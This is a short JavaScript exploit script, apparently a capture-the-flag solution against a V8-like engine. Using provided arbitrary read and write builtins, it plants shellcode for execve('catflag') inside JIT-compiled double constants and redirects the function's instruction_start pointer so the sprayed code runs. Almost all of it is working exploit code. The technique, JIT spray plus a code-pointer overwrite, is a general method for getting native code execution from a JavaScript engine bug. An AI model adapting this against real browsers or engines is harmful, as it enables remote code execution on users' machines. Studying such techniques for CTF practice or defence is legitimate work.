// Integrated Builtin: // - int32 GetAddressOf(obj); // - int32 ArbRead32(int32 cage_addr); // - void ArbWrite32(int32 cage_addr, int32 value); // To execute shellcode, we need JIT spray instead of writing RWX segment. // Because we cannot write in the 64-bit address space. // RWXAddr: Function -> code(+0xC) -> instruction_start(+0x14) // JIT Spray Double Constant Offset: RWXAddr + 0x6B function shellcode() { // JIT spray machine code form of `execve("catflag", NULL, NULL)` return [ 1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61 ]; } for (let i = 0; i < 100000; i++) shellcode(); // Trigger MAGLEV compilation function unptr(v) { return v & 0xfffffffe; } function ptr(v) { return v | 1; } let shellcode_addr = GetAddressOf(shellcode); console.log("Address of shellcode: " + shellcode_addr.toString(16)); let code_addr = unptr(ArbRead32(shellcode_addr + 0xC)); console.log("Address of code: " + code_addr.toString(16)); let instruction_start_addr = code_addr + 0x14; let instruction_start = ArbRead32(instruction_start_addr); console.log("instruction_start: " + instruction_start.toString(16)); ArbWrite32(instruction_start_addr, instruction_start + 0x6B); shellcode(); // %DebugPrint(shellcode); // %SystemBreak();